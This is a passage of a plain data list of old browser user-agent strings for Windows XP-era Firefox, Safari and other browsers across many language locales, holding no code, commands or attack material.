Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; he-IL; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB6 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; hr) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu-HU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu-HU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu-HU; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu-HU; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.6) Gecko/20040113\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 5.1; id) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9) Gecko/2008052906 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; is; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; it) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; it-IT) AppleWebKit/525+ (KHTML, like Gecko) Version/3.1.2 Safari/525.21\nMozilla/5.0 (Windows; U; Windows NT 5.1; it-IT) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21\nMozilla/5.0 (Windows; U; Windows NT 5.1; it-IT) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.5) Gecko/20041110 Firefox/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.5) Gecko/20060127 Netscape/8.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.6) Gecko/20050318 Firefox/1.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.7) Gecko/20050414 Firefox/1.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.8.1.22) Gecko/20090605 SeaMonkey/1.1.17\nMozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.9.2.32) Gecko/20120529 Firefox/3.6.32 (Palemoon/3.6.32)\nMozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.9a1) Gecko/20100202 Firefox/3.0.18\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.7) Gecko/20061001 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 FirePHP/0.1.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8b5) Gecko/20051006 Firefox/1.4.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 ( .NET CLR 3.5.30729; .NET4.0C)\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.1.12) Gecko/20100825 SeaMonkey/2.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.28) Gecko/20120306 AskTbSTC-SRS/3.13.1.18132 Firefox/3.6.28 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.2.8) Gecko/20100722 AskTbSTC-SRS/3.13.1.18132 Firefox/3.6.8 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9b2) Gecko/2007121120 Firefox/3.0b2\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja-JA; rv:1.8.1.24pre) Gecko/20100228 K-Meleon/1.5.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP) AppleWebKit/529 (KHTML, like Gecko, Safari/529.0) Lunascape/4.9.9.99\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP) AppleWebKit/533.3 (KHTML, like Gecko) Lunascape/6.3.4.23051 Safari/533.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.2.1) Gecko/20021130\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.9.2) Gecko/20100206 Palemoon/3.6.0.5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.9.2.3) Gecko/20100403 Firefox/3.6.3 (Palemoon/3.6.3) (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.9.2.3) Gecko/20100403 Firefox/3.6.3 (Palemoon/3.6.3) GTB7.0 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.9.2.8) Gecko/20100817 Firefox/3.6.8 (Palemoon/3.6.8a)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja-jp) AppleWebKit/534.7 (KHTML, like Gecko) Iron/7.0.520.1 Chrome/7.0.520.1 Safari/534.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 GTB7.0 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1) Gecko/20090701 Firefox/3.5 Lunascape/5.1.1.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB7.0 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.10) Gecko/20100624 Firefox/3.5.10 Lunascape/6.2.0.22177\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.10) Gecko/20100624 Firefox/3.5.10 Lunascape/6.2.0.22177 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.11) Gecko/20100723 Firefox/3.5.11 Lunascape/6.2.1.22445 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.13) Gecko/20100917 Firefox/3.5.13 Lunascape/6.3.3.22929\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.15) Gecko/20101029 Firefox/3.5.15 Lunascape/6.3.4.23051 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.15) Gecko/20101029 Firefox/3.5.15 Lunascape/6.3.4.23051 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.17) Gecko/20110123 SeaMonkey/2.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 GTB7.0 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 (.NET CLR 1.1.4322)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.9) Gecko/20100331 Firefox/3.5.9 Lunascape/6.1.4.21478\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1.9) Gecko/20100331 Firefox/3.5.9 Lunascape/6.1.4.21478 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.2.25) Gecko/20111212 Firefox/3.6.25 ( .NET CLR 3.5.30729; .NET4.0C)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.2.32) Gecko/20120529 Firefox/3.6.32 (Palemoon/3.6.32)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ja; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5\nMozilla/5.0 (Windows; U; Windows NT 5.1; ko-KR) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; ko-KR; rv:1.8.0.7) Gecko/20060917 K-Meleon/1.02\nMozilla/5.0 (Windows; U; Windows NT 5.1; ko-KR; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.2.16) Gecko/20110325 Firefox/3.6.16 Lunascape/6.4.5.23569\nMozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; lt; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\nMozilla/5.0 (Windows; U; Windows NT 5.1; lt; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; lt; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; lt; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; lt; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4\nMozilla/5.0 (Windows; U; Windows NT 5.1; mk; rv:1.8) Gecko/20051107 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; mk; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; nb) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3)  Arora/0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.6) Gecko/20050318 Firefox/1.0.2\nMozilla/5.0 (Windows; 